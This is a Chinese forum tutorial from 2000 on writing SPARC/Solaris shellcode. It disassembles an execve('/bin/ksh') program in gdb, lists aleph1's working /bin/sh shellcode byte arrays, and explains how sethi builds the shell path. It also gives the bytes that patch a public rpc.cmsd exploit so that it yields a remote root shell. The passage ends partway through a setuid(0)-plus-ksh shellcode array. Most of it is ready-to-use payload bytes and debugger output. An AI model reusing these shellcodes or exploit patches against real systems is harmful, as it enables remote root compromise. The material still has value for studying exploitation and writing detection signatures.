发信人: cloudsky (小四), 信区: Security 标 题: solaris for sparc下shellcode的编写(一)修订版 发信站: 武汉白云黄鹤站 (Sat Apr 15 14:33:21 2000), 转信 呵,这次提供修订版,月刊上的来不及修正了,已经发布。 大家以这里的为准 标题:solaris for sparc下shellcode的编写(一) 主页:http://www.isbase.com 作者:scz < mailto: cloudsky@263.net > 日期:04-13-2000 前言: 本文的目的是讲述如何针对sparc架构编写自己的shellcode,因为我对sparc架 构下的汇编语言很不熟悉,只能碰上问题再临时找资料,本来想写得精彩点, 但tt催命,只好先到此交差告一段落。接下来会写一个针对sparc架构的系列, 前提是tt不催命。 测试: SunOS 5.7 Generic sun4u sparc SUNW,Ultra-5_10 目录: 1. shellcode.c for solaris 2.7 2. solaris for sparc下的汇编语言 3. 利用objdump研究汇编代码 4. shellcode_exit.c for solaris 2.7 5. 用gdb调试观察shellcode.c 6. 简单总结一下伪汇编代码 7. aleph1提供的两个shellcode for sparc 8. 对sethi指令的解释 9. 修改rpc.cmsd的exploit code 10. 使用/bin/ksh的shellcode 1. shellcode.c for solaris 2.7 -------------------------------------------------------------------------- #include int main ( int argc, char * argv[] ) { char * name[2]; name[0] = "/bin/ksh"; name[1] = NULL; execve( name[0], name, NULL ); return 0; } /* end of main */ -------------------------------------------------------------------------- [scz@ /space/staff/scz/src]> cat > shellcode.c [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode shellcode.c [scz@ /space/staff/scz/src]> gdb shellcode GNU gdb 4.18 This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disassemble main <-- -- -- 输入 Dump of assembler code for function main: 0x101b8 : save %sp, -120, %sp 0x101bc : st %i0, [ %fp + 0x44 ] 0x101c0 : st %i1, [ %fp + 0x48 ] 0x101c4 : sethi %hi(0x2d000), %o1 0x101c8 : or %o1, 0x2d8, %o0 ! 0x2d2d8 <_lib_version+8> 0x101cc : st %o0, [ %fp + -24 ] 0x101d0 : clr [ %fp + -20 ] 0x101d4 : add %fp, -24, %o1 0x101d8 : ld [ %fp + -24 ], %o0 0x101dc : clr %o2 0x101e0 : call 0x10da0 0x101e4 : nop 0x101e8 : clr %i0 ! 0x0 0x101ec : b 0x101f4 0x101f0 : nop 0x101f4 : ret 0x101f8 : restore End of assembler dump. (gdb) x/4bx main <-- -- -- 得到main的机器码 0x101b8 : 0x9d 0xe3 0xbf 0x88 (gdb) x/4bx 0x101bc : 0xf0 0x27 0xa0 0x44 (gdb) x/4bx 0x101c0 : 0xf2 0x27 0xa0 0x48 (gdb) x/4bx 0x101c4 : 0x13 0x00 0x00 0xb4 (gdb) x/4bx 0x101c8 : 0x90 0x12 0x62 0xd8 (gdb) x/4bx 0x101cc : 0xd0 0x27 0xbf 0xe8 (gdb) x/4bx 0x101d0 : 0xc0 0x27 0xbf 0xec (gdb) x/4bx 0x101d4 : 0x92 0x07 0xbf 0xe8 (gdb) x/4bx 0x101d8 : 0xd0 0x07 0xbf 0xe8 (gdb) x/4bx 0x101dc : 0x94 0x10 0x20 0x00 (gdb) x/4bx 0x101e0 : 0x40 0x00 0x02 0xf0 (gdb) x/4bx <-- -- -- nop指令 0x101e4 : 0x01 0x00 0x00 0x00 (gdb) x/4bx 0x101e8 : 0xb0 0x10 0x20 0x00 (gdb) x/4bx 0x101ec : 0x10 0x80 0x00 0x02 (gdb) x/4bx <-- -- -- nop指令 0x101f0 : 0x01 0x00 0x00 0x00 (gdb) x/4bx 0x101f4 : 0x81 0xc7 0xe0 0x08 (gdb) x/4bx 0x101f8 : 0x81 0xe8 0x00 0x00 (gdb) disas execve Dump of assembler code for function execve: 0x10da0 : mov 0x3b, %g1 <-- -- -- 怀疑这个就是功能号 0x10da4 : ta 8 0x10da8 : bcc 0x10dbc <_exit> 0x10dac : sethi %hi(0x16400), %o5 0x10db0 : or %o5, 0x34c, %o5 ! 0x1674c <_cerror> 0x10db4 : jmp %o5 0x10db8 : nop End of assembler dump. (gdb) x/4bx execve <-- -- -- 得到execve的机器码 0x10da0 : 0x82 0x10 0x20 0x3b (gdb) x/4bx 0x10da4 : 0x91 0xd0 0x20 0x08 (gdb) x/4bx 0x10da8 : 0x1a 0x80 0x00 0x05 (gdb) x/4bx 0x10dac : 0x1b 0x00 0x00 0x59 (gdb) x/4bx 0x10db0 : 0x9a 0x13 0x63 0x4c (gdb) x/4bx 0x10db4 : 0x81 0xc3 0x40 0x00 (gdb) x/4bx 0x10db8 : 0x01 0x00 0x00 0x00 (gdb) disas exit Dump of assembler code for function exit: 0x167a0 : save %sp, -96, %sp 0x167a4 : call 0x10d18 <_exithandle> 0x167a8 : nop 0x167ac : restore 0x167b0 : mov 1, %g1 <-- -- -- 对比这里和下面的<_exit> 0x167b4 : ta 8 End of assembler dump. (gdb) disas _exit Dump of assembler code for function _exit: 0x10dbc <_exit> : mov 1, %g1 ! 0x1 对比这里和上面的 0x10dc0 <_exit+4>: ta 8 End of assembler dump. (gdb) x/4bx _exit <-- -- -- 得到_exit的机器码 0x10dbc <_exit>: 0x82 0x10 0x20 0x01 (gdb) x/4bx 0x10dc0 <_exit+4>: 0x91 0xd0 0x20 0x08 (gdb) q [scz@ /space/staff/scz/src]> 观察上述反汇编结果,sparc下是严格的4字节指令,每条指令都是4个字节。 整理如下: : 9d e3 bf 88 save %sp, -120, %sp : f0 27 a0 44 st %i0, [ %fp + 0x44 ] : f2 27 a0 48 st %i1, [ %fp + 0x48 ] : 13 00 00 b4 sethi %hi(0x2d000), %o1 ! char * name[2]; ! name[0] = "/bin/ksh"; : 90 12 62 d8 or %o1, 0x2d8, %o0 ! 0x2d2d8 <_lib_version+8> ! 0x2d2d8 --> "/bin/ksh" : d0 27 bf e8 st %o0, [ %fp + -24 ] ! %fp - 24 对应 name[0] ! name[0]已经被赋值成指针 : c0 27 bf ec clr [ %fp + -20 ] ! name[1] = NULL; ! %fp - 20 对应 name[1] ! name[1]已经赋值成空 : 92 07 bf e8 add %fp, -24, %o1 ! %fp - 24 ==> %o1 ! 现在%o1 对应 name[0]的地址 ! execve( name[0], name, NULL ); : d0 07 bf e8 ld [ %fp + -24 ], %o0 ! [ %fp + -24 ] ==> %o0 ! 现在%o0等于name[0]的值,指向"/bin/ksh"的指针 : 94 10 20 00 clr %o2 ! %o2寄存器清零 : 40 00 02 f0 call 0x10da0 ! 先给%o7赋值保存返回地址,然后做跳转 : 01 00 00 00 nop : b0 10 20 00 clr %i0 ! 0x0 ! return 0; : 10 80 00 02 b 0x101f4 ! Branch 语句 : 01 00 00 00 nop : 81 c7 e0 08 ret : 81 e8 00 00 restore : 82 10 20 3b mov 0x3b, %g1 : 91 d0 20 08 ta 8 : 1a 80 00 05 bcc 0x10dbc <_exit> : 1b 00 00 59 sethi %hi(0x16400), %o5 : 9a 13 63 4c or %o5, 0x34c, %o5 ! 0x1674c <_cerror> : 81 c3 40 00 jmp %o5 : 01 00 00 00 nop <_exit> : 82 10 20 01 mov 1, %g1 ! 0x1 对比这里和上面的 <_exit+4>: 91 d0 20 08 ta 8 2. solaris for sparc下的汇编语言 下面是一些简单的来自solaris answerbook的关于汇编语言的语法解释: address ---- regrs1 + regrs2 regrs1 + const13 regrs1 - const13 const13 + regrs1 const13 ---- 地址的语法构成,总共有五种构成方式 const13 ---- 一个13bit的常量,可以是一个符号表达式的评价值 (参考c语言中关于评价值的解释) const22 ---- 一个22bit的常量,可以是一个符号表达式的评价值 (参考c语言中关于评价值的解释) imm7 ---- A signed or unsigned constant that can be represented in 7 bits (it is in the range -64 ... 127). It can be the result of the evaluation of a symbol expression. uimm7 ---- An unsigned constant that can be represented in 7 bits (it is in the range 0 ... 127). It can be the result of the evaluation of a symbol expression. regrd ---- 目标寄存器 regrs1, regrs2 ---- 源寄存器1,源寄存器2 reg_or_imm ---- regrs2, const13 ---- 来自某个寄存器的值,或者常量 regaddr ---- regrs1 regrs1 + regrs2 ---- 仅仅由寄存器值构成的地址 freg ---- %f0 ... %f31 ---- 浮点寄存器 creg ---- %c0 ... %c31 ---- Coprocessor registers. reg ---- %r0 ... %r31 ---- General purpose registers. %g0 ... %g7 ---- Same as %r0 ... %r7 (Globals) %o0 ... %o7 ---- Same as %r8 ... %r15 (Outs) %l0 ... %l7 ---- Same as %r16 ... %r23 (Locals) %i0 ... %i7 ---- Same as %r24 ... %r31 (Ins) 相关指令集: save regrs1, reg_or_imm, regrd restore regrs1, reg_or_imm, regrd st regrd, [address] add regrs1, reg_or_imm, regrd ---- Add call label ---- Call subprogram ld [address], regrd ---- Load word or regrs1, reg_or_imm, regrd ---- Inclusive or sethi const22, regrd ---- Set high 22 bits of register sethi %hi(value), regrd ---- if ((value & 0x3ff) == 0) nop ---- No operation jmpl address, regrd ---- Jump and link clr regrd ---- or %g0, %g0, regrd ---- Clear (zero) register clr [address] ---- st %g0, [address] ---- Clear word mov reg_or_imm, regrd ---- or %g0, reg_or_imm, regrd call reg_or_imm ---- jmpl reg_or_imm, %o7 jmp address ---- jmpl address, %g0 set value, regrd ---- sethi %hi(value), regrd ---- if ((value & 0x3ff) == 0) 3. 利用objdump研究汇编代码 GNU objdump 位于binutils-x.x.gz包(x.x是版本号)中,缺省情况下 solaris for sparc是没有这些二进制工具的,需要自己去下载安装, 比如: ftp://sunsite.ccu.edu.tw/pub/freeware/sparc/2.5/binutils-2.7.gz [scz@ /space/staff/scz/src]> objdump -j .text -Sl shellcode | more /main(查找) ...跳过 main(): /space/staff/scz/src/shellcode.c:3 int main ( int argc, char * argv[] ) { 000101b8 save %sp, -120, %sp 000101bc st %i0, [ %fp + 0x44 ] 000101c0 st %i1, [ %fp + 0x48 ] /space/staff/scz/src/shellcode.c:6 char * name[2]; name[0] = "/bin/ksh"; 000101c4 sethi %hi(0x2d000), %o1 000101c8 or %o1, 0x2d8, %o0 ! 0002d2d8 <_lib_version+8> 000101cc st %o0, [ %fp + -24 ] /space/staff/scz/src/shellcode.c:7 name[1] = NULL; 000101d0 clr [ %fp + -20 ] /space/staff/scz/src/shellcode.c:8 execve( name[0], name, NULL ); 000101d4 add %fp, -24, %o1 000101d8 ld [ %fp + -24 ], %o0 000101dc clr %o2 000101e0 call 00010da0 <_execve> 000101e4 nop /space/staff/scz/src/shellcode.c:9 return 0; 000101e8 clr %i0 ! 00000000 <_DYNAMIC> 000101ec b 000101f4 000101f0 nop /space/staff/scz/src/shellcode.c:10 } /* end of main */ 000101f4 ret 000101f8 restore 打破的管道 <-- -- -- 输入q [scz@ /space/staff/scz/src]> objdump for sparc并不像objdump for x86那样会给出机器码,所以 还是需要gdb的辅助。 4. shellcode_exit.c for solaris 2.7 -------------------------------------------------------------------------- #include int main ( int argc, char * argv[] ) { _exit( 0 ); } /* end of main */ -------------------------------------------------------------------------- [scz@ /space/staff/scz/src]> cat > shellcode_exit.c [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode_exit shellcode_exit.c [scz@ /space/staff/scz/src]> gdb shellcode_exit GNU gdb 4.18 This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disassemble main <-- -- -- 输入 Dump of assembler code for function main: 0x101b8 : save %sp, -112, %sp ! 注意这三条指令 0x101bc : st %i0, [ %fp + 0x44 ] ! 注意这三条指令 0x101c0 : st %i1, [ %fp + 0x48 ] ! 注意这三条指令 0x101c4 : clr %o0 0x101c8 : call 0x10d7c <_exit> 0x101cc : nop 0x101d0 : ret 0x101d4 : restore End of assembler dump. (gdb) x/4bx main <-- -- -- 得到main的机器码 0x101b8 : 0x9d 0xe3 0xbf 0x90 (gdb) x/4bx 0x101bc : 0xf0 0x27 0xa0 0x44 (gdb) x/4bx 0x101c0 : 0xf2 0x27 0xa0 0x48 (gdb) x/4bx 0x101c4 : 0x90 0x10 0x20 0x00 (gdb) x/4bx 0x101c8 : 0x40 0x00 0x02 0xed (gdb) x/4bx 0x101cc : 0x01 0x00 0x00 0x00 (gdb) x/4bx 0x101d0 : 0x81 0xc7 0xe0 0x08 (gdb) x/4bx 0x101d4 : 0x81 0xe8 0x00 0x00 (gdb) disas _exit Dump of assembler code for function _exit: 0x10d7c <_exit> : mov 1, %g1 0x10d80 <_exit+4>: ta 8 End of assembler dump. (gdb) x/4bx _exit <-- -- -- 得到_exit的机器码 0x10d7c <_exit>: 0x82 0x10 0x20 0x01 (gdb) x/4bx 0x10d80 <_exit+4>: 0x91 0xd0 0x20 0x08 (gdb) q [scz@ /space/staff/scz/src]> 整理得到: 0x101b8 : 9d e3 bf 90 save %sp, -112, %sp ! 注意这三条指令 0x101bc : f0 27 a0 44 st %i0, [ %fp + 0x44 ] ! 注意这三条指令 0x101c0 : f2 27 a0 48 st %i1, [ %fp + 0x48 ] ! 注意这三条指令 0x101c4 : 90 10 20 00 clr %o0 0x101c8 : 40 00 02 ed call 0x10d7c <_exit> 0x101cc : 01 00 00 00 nop 0x101d0 : 81 c7 e0 08 ret 0x101d4 : 81 e8 00 00 restore <_exit> : 82 10 20 01 mov 1, %g1 ! 0x1 <_exit+4>: 91 d0 20 08 ta 8 ! 这个应该相当于int指令吧 5. 用gdb调试观察shellcode.c [scz@ /space/staff/scz/src]> gdb shellcode GNU gdb 4.18 This GDB was configured as "sparc-sun-solaris2.7"... (gdb) break main Breakpoint 1 at 0x101c4: file shellcode.c, line 6. (gdb) run Starting program: /space/staff/scz/src/shellcode Breakpoint 1, main (argc=1, argv=0xffbefcf4) at shellcode.c:6 6 name[0] = "/bin/ksh"; (gdb) p &argc $1 = (int *) 0xffbefcd4 (gdb) p argc $2 = 1 (gdb) p argv $3 = (char **) 0xffbefcf4 (gdb) n <-- -- -- 单步执行 7 name[1] = NULL; (gdb) inf line Line 7 of "shellcode.c" starts at address 0x101d0 and ends at 0x101d4 . (gdb) n <-- -- -- 单步执行 8 execve( name[0], name, NULL ); (gdb) inf reg $fp <-- -- -- 查看寄存器%fp fp 0xffbefc90 -4260720 (gdb) x/s 0x0002d2d8 0x2d2d8 <_lib_version+8>: "/bin/ksh" (gdb) x/4bx $fp - 24 <-- -- -- 检查name[0],name[0]的值是个指针0x2d2d8 0xffbefc78: 0x00 0x02 0xd2 0xd8 <-- -- -- 这里是big endian (gdb) x/4bx $fp - 20 <-- -- -- 检查name[1] 0xffbefc7c: 0x00 0x00 0x00 0x00 (gdb) si <-- -- -- 单步执行汇编指令 0x101d8 8 execve( name[0], name, NULL ); (gdb) inf reg pc <-- -- -- 相当于x86架构的EIP寄存器 pc 0x101d8 66008 (gdb) p $fp $4 = -4260720 (gdb) p $o1 <-- -- -- 此时等于 $fp - 24 $5 = -4260744 (gdb) x/4bx $o1 <-- -- -- $o1现在对应name[0]的地址,该地址处存放了指针0x0002d2d8 0xffbefc78: 0x00 0x02 0xd2 0xd8 (gdb) x/s 0x0002d2d8 <-- -- -- 该指针指向字符串"/bin/ksh" 0x2d2d8 <_lib_version+8>: "/bin/ksh" (gdb) si <-- -- -- 单步执行汇编指令 0x101dc 8 execve( name[0], name, NULL ); (gdb) p/x $o0 $6 = 0x2d2d8 (gdb) x/s $o0 <-- -- -- $o0现在对应name[0]的值,即指针0x0002d2d8本身 0x2d2d8 <_lib_version+8>: "/bin/ksh" (gdb) p $o2 <-- -- -- 检查$o2寄存器,与后面做比较 $7 = 281600 (gdb) si <-- -- -- 这里实际执行了 clr %o2 ,%o2现在应该为0 0x101e0 8 execve( name[0], name, NULL ); (gdb) p $o2 $8 = 0 <-- -- -- 验证$o2寄存器已经清零 (gdb) p $o7 <-- -- -- 检查$o7寄存器,与后面做比较 $9 = 184996 (gdb) p $pc <-- -- -- 检查$pc寄存器,与后面做比较 $10 = 66016 <-- -- -- 66016(10) == 101e0(16) (gdb) si <-- -- -- 执行 call 0x10da0 0x101e4 8 execve( name[0], name, NULL ); (gdb) p $o7 $11 = 66016 <-- -- -- $o7寄存器保存了call发生前$pc寄存器的值 (gdb) p $pc <-- -- -- call命令先做到$o7寄存器的保存,后跳转 $12 = 66020 <-- -- -- 66020(10) == 101e4(16) (gdb) si <-- -- -- 这里实际执行了jmpl 0x10da0 0x10da0 in execve () (gdb) p $pc $13 = 69024 <-- -- -- 69024(10) == 10da0(16) (gdb) p $o7 $14 = 66016 <-- -- -- $o7寄存器将来用做计算call命令的返回地址 (gdb) q The program is running. Exit anyway? (y or n) y [scz@ /space/staff/scz/src]> 从上面对call指令的分析中可以看出,call指令后面的nop指令不是凭空产生的,而 是因为call指令本身是个伪指令,实际对应了两条机器码,先给$o7赋值,后跳转, 需要用nop指令留出4字节空间。我这是不专业的解释,但可以这样理解。以此类推, 如果某条汇编指令后面跟着一条nop指令,就可以考虑研究它是否由两条机器码构成。 如果自己写汇编代码,似乎也应该注意到这个问题,比如call指令后必须增加一条看 似无意义的nop指令。注意,jmp指令和call指令存在同样的问题。关于汇编指令和机 器码的细节,请参看solaris answerbook,一般在8888端口上提供服务。 6. 简单总结一下伪汇编代码 -------------------------------------------------------------------------- ! %o0 指向字符串"/bin/sh" ! %o1 存放一个地址,该地址处存放了指向字符串的指针 xor %o2, %o2, %o2 ! %o2寄存器清零 mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中 ta 8 ! 执行中断指令ta 8(execve()完成) xor %o7, %o7, %o0 ! %o0寄存器清零 mov 1, %g1 ! 将1拷贝到%g1寄存器中 ta 8 ! 执行中断指令ta 8(_exit(0)完成) -------------------------------------------------------------------------- 7. aleph1提供的两个shellcode for sparc -------------------------------------------------------------------------- /* SPARC/Solaris shellcode */ int main () { __asm__ (" sethi 0xbd89a, %l6 ! sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 ! sethi %hi(0x2f736800), %l7 and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针 xor %o2, %o2, %o2 ! %o2寄存器清零 add %sp, 16, %sp ! 留出存储空间 std %l6, [%sp - 16] ! 存放字符串 st %sp, [%sp - 8] ! 存放字符串指针,这里aleph1的代码有问题,但不影响结果 st %g0, [%sp - 4] ! %g0总是为0 mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中 ta 8 ! 执行中断指令ta 8(execve()完成) xor %o7, %o7, %o0 ! %o0寄存器清零 mov 1, %g1 ! 将1拷贝到%g1寄存器中 ta 8 ! 执行中断指令ta 8(_exit(0)完成) "); } /* end of main */ -------------------------------------------------------------------------- [scz@ /space/staff/scz/src]> cat > shellcodeasm.c [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcodeasm shellcodeasm.c [scz@ /space/staff/scz/src]> ./shellcodeasm $ exit [scz@ /space/staff/scz/src]> gdb ./shellcodeasm GNU gdb 4.18 This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disas main Dump of assembler code for function main: 0x101b8 : save %sp, -112, %sp 0x101bc : sethi %hi(0x2f626800), %l6 0x101c0 : or %l6, 0x16e, %l6 ! 0x2f62696e 0x101c4 : sethi %hi(0x2f736800), %l7 0x101c8 : and %sp, %sp, %o0 0x101cc : add %sp, 8, %o1 0x101d0 : xor %o2, %o2, %o2 0x101d4 : add %sp, 0x10, %sp 0x101d8 : std %l6, [ %sp + -16 ] 0x101dc : st %sp, [ %sp + -8 ] 0x101e0 : clr [ %sp + -4 ] 0x101e4 : mov 0x3b, %g1 0x101e8 : ta 8 0x101ec : xor %o7, %o7, %o0 0x101f0 : mov 1, %g1 0x101f4 : ta 8 0x101f8 : ret 0x101fc : restore End of assembler dump. (gdb) x/60bx main+4 <-- -- -- 提取shellcode 0x101bc : 0x2d 0x0b 0xd8 0x9a 0xac 0x15 0xa1 0x6e 0x101c4 : 0x2f 0x0b 0xdc 0xda 0x90 0x0b 0x80 0x0e 0x101cc : 0x92 0x03 0xa0 0x08 0x94 0x1a 0x80 0x0a 0x101d4 : 0x9c 0x03 0xa0 0x10 0xec 0x3b 0xbf 0xf0 0x101dc : 0xdc 0x23 0xbf 0xf8 0xc0 0x23 0xbf 0xfc 0x101e4 : 0x82 0x10 0x20 0x3b 0x91 0xd0 0x20 0x08 0x101ec : 0x90 0x1b 0xc0 0x0f 0x82 0x10 0x20 0x01 0x101f4 : 0x91 0xd0 0x20 0x08 (gdb) q [scz@ /space/staff/scz/src]> 整理如下: char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; -------------------------------------------------------------------------- /* SPARC/SunOS shellcode */ int main () { __asm__ (" sethi 0xbd89a, %l6 ! sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 ! sethi %hi(0x2f736800), %l7 and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针 xor %o2, %o2, %o2 ! %o2寄存器清零 add %sp, 16, %sp ! 留出存储空间 std %l6, [%sp - 16] ! 存放字符串 st %sp, [%sp - 8] ! 存放字符串指针,这里aleph1的代码有问题,但不影响结果 st %g0, [%sp - 4] ! %g0总是为0 mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中 mov -0x1, %l5 ta %l5 + 1 ! 执行中断指令ta (execve()完成) xor %o7, %o7, %o0 ! %o0寄存器清零 mov 1, %g1 ! 将1拷贝到%g1寄存器中 ta %l5 + 1 ! 执行中断指令ta (_exit(0)完成) "); } /* end of main */ -------------------------------------------------------------------------- [scz@ /space/staff/scz/src]> cat > shellcode_asm.c [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o shellcode_asm shellcode_asm.c [scz@ /space/staff/scz/src]> ./shellcode_asm $ exit [scz@ /space/staff/scz/src]> gdb shellcode_asm GNU gdb 4.18 This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disas main Dump of assembler code for function main: 0x101b8 : save %sp, -112, %sp 0x101bc : sethi %hi(0x2f626800), %l6 0x101c0 : or %l6, 0x16e, %l6 ! 0x2f62696e 0x101c4 : sethi %hi(0x2f736800), %l7 0x101c8 : and %sp, %sp, %o0 0x101cc : add %sp, 8, %o1 0x101d0 : xor %o2, %o2, %o2 0x101d4 : add %sp, 0x10, %sp 0x101d8 : std %l6, [ %sp + -16 ] 0x101dc : st %sp, [ %sp + -8 ] 0x101e0 : clr [ %sp + -4 ] 0x101e4 : mov 0x3b, %g1 0x101e8 : mov -1, %l5 0x101ec : ta %l5 + 1 0x101f0 : xor %o7, %o7, %o0 0x101f4 : mov 1, %g1 0x101f8 : ta %l5 + 1 0x101fc : ret 0x10200 : restore End of assembler dump. (gdb) x/64bx main+4 <-- -- -- 提取shellcode 0x101bc : 0x2d 0x0b 0xd8 0x9a 0xac 0x15 0xa1 0x6e 0x101c4 : 0x2f 0x0b 0xdc 0xda 0x90 0x0b 0x80 0x0e 0x101cc : 0x92 0x03 0xa0 0x08 0x94 0x1a 0x80 0x0a 0x101d4 : 0x9c 0x03 0xa0 0x10 0xec 0x3b 0xbf 0xf0 0x101dc : 0xdc 0x23 0xbf 0xf8 0xc0 0x23 0xbf 0xfc 0x101e4 : 0x82 0x10 0x20 0x3b 0xaa 0x10 0x3f 0xff 0x101ec : 0x91 0xd5 0x60 0x01 0x90 0x1b 0xc0 0x0f 0x101f4 : 0x82 0x10 0x20 0x01 0x91 0xd5 0x60 0x01 (gdb) q [scz@ /space/staff/scz/src]> 整理如下: char shell_code[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; 8. 对sethi指令的解释 研究aleph1提供的这两个shellcode,如果用/bin/sh的16进制表示搜索,是找不到的, 那么关键在于什么?关键在于这里提供的shellcode中,/bin/sh不是以常量字符串形 式存在,而是由汇编指令动态构建的,也就是下面的三条指令。这三条指令把字符串 "/bin/sh"存储在 %l6 + %l7 寄存器对中,注意该字符串(包括结尾的null)总共占用 了8个字节,刚好是两个寄存器。而 std %l6, [ %sp + -16 ] 指令中的std是指操 作double word,也就是操作 %l6 + %l7 寄存器对。 至于sethi指令的意思在条目2中已经提到,设置目标寄存器的高22bit。 "/bin/sh"的16进制表示是0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00。二进制表示 是00101111 01100010 01101001 01101110 00101111 01110011 01101000 00000000。 而前22bit是00101111 01100010 011010,这个值对应16进制的0xbd89a,也就是你在 aleph1所提供的汇编代码中看到的魔术数字。那么接下来的10bit是01 01101110, 对应16进制的0x16e。接下来00101111 01110011 01101000 00000000的前22bit 00101111 01110011 011010对应16进制的0xbdcda,最后的10bit是00 00000000,不 用特别处理,所以没有or指令跟在sethi指令后面。 -------------------------------------------------------------------------- sethi %hi(0x2f626800), %l6 ! sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 ! sethi 0xbdcda, %l7 ... ... std %l6, [ %sp + -16 ] -------------------------------------------------------------------------- 由这里的分析我们可以想到什么?首先,如果使用/bin/sh的话,一般应该在 shellcode中找到这样的特征串: "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda" 对应上述三条指令。反之,如果你搜索到了这个特征串,那么极大可能使用了 /bin/sh。其次,如果你要修改成使用/bin/ksh,而且依旧采用这种技术,那么要做 的应该是分多次利用sethi指令构建字符串,比如/bin/ksh。第三,有种版本的 rpc.cmsd的exploit code,其中使用了/tmp/iss,你在shellcode中找不到对应字符 串,实际上它也是使用了sethi指令动态构建这个字符串的,可能是iss的程序员出于 某种想法而做的保护措施,以至于绝大多数人只能靠在本机建立/tmp/iss作为shell 溢出成功,而无法远程溢出取得root shell。对于那些真正研究代码学习编程的人, 修改它则是非常容易的事情。实际上,前段时间的Bind 8.2-8.2.1 远程溢出的 exploit code也被原作者做了手脚,把/bin/sh代之以/adm/sh,但是那个exploit采 用的技术是静态定义了/adm/sh的,所以可以直接搜索/adm/sh的16进制表示,然后 替换。以后拿到exploit code,最好能简单反汇编后查看一下,说不定又需要做点简 单修正才能正常使用。 9. 修改rpc.cmsd的exploit code 下面是需要修改的关键地方: -------------------------------------------------------------------------- "\x2d\x0b\xdd\x1b" /* sethi %hi(0x2f746c00), %l6 */ "\xac\x15\xa1\x70" /* or %l6, 0x170, %l6 - "/tmp" */ "\x2f\x0b\xda\x5c" /* sethi %hi(0x2f697000), %l7 */ "\xae\x15\xe3\x73" /* or %l7, 0x373, %l7 - "/iss" */ -------------------------------------------------------------------------- 我们可以考虑把它修改成使用/bin/ksh。"/bin/ksh"的16进制表示是0x2f 0x62 0x69 0x6e 0x2f 0x6b 0x73 0x68 0x00。二进制表示是00101111 01100010 01101001 01101110 00101111 01101011 01110011 01101000 00000000。前22bit等于0xbd89a, 接下来的10bit等于0x16e,再下来的22bit等于0xbdadc,最后的10bit等于0x368,需 要用or指令处理一下。我们把这些汇编指令放入一个main函数,编译后用gdb取得最 后的机器码: -------------------------------------------------------------------------- /* getcode.c */ int main () { __asm__ (" sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdadc, %l7 or %l7, 0x368, %l7 "); } /* end of main */ -------------------------------------------------------------------------- [scz@ /space/staff/scz/src]> cat > getcode.c [scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o getcode getcode.c [scz@ /space/staff/scz/src]> gdb getcode GNU gdb 4.18 This GDB was configured as "sparc-sun-solaris2.7"... (gdb) disas main Dump of assembler code for function main: 0x101b8 : save %sp, -112, %sp 0x101bc : sethi %hi(0x2f626800), %l6 0x101c0 : or %l6, 0x16e, %l6 ! 0x2f62696e 0x101c4 : sethi %hi(0x2f6b7000), %l7 0x101c8 : or %l7, 0x368, %l7 ! 0x2f6b7368 0x101cc : ret 0x101d0 : restore End of assembler dump. (gdb) x/16bx main+4 0x101bc : 0x2d 0x0b 0xd8 0x9a 0xac 0x15 0xa1 0x6e 0x101c4 : 0x2f 0x0b 0xda 0xdc 0xae 0x15 0xe3 0x68 (gdb) q [scz@ /space/staff/scz/src]> 最终修改如下: -------------------------------------------------------------------------- "\x2d\x0b\xd8\x9a" /* sethi 0xbd89a, %l6 */ "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 - "/bin" */ "\x2f\x0b\xda\xdc" /* sethi 0xbdadc, %l7 */ "\xae\x15\xe3\x68" /* or %l7, 0x368, %l7 - "/ksh" */ -------------------------------------------------------------------------- 只要用这四条语句代替那个版本中的相应语句,就可以远程溢出使用/bin/ksh了。 10. 使用/bin/ksh的shellcode char ksh_code[] = "\x90\x08\x3f\xff" /* and %g0, -1, %o0 ! 0 in o0 */ "\x82\x10\x20\x8d" /* mov 0x8d, %g1 ! 0x8d==141==SYS_seteuid in g1 */ "\x91\xd0\x20\x08" /* ta 8 ! seteuid(0); */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 ! 0 in o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 ! 0x17==23==SYS_setuid in g1 */ "\x91\xd0\x20\x08" /* ta 8 ! setuid(0); */ "\x2d\x0b\xd8\x9a" /* sethi 0xbd89a, %l6 */ "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 ! /bin */ "\x2f\x0b\xda\xdc" /* sethi 0xbdadc, 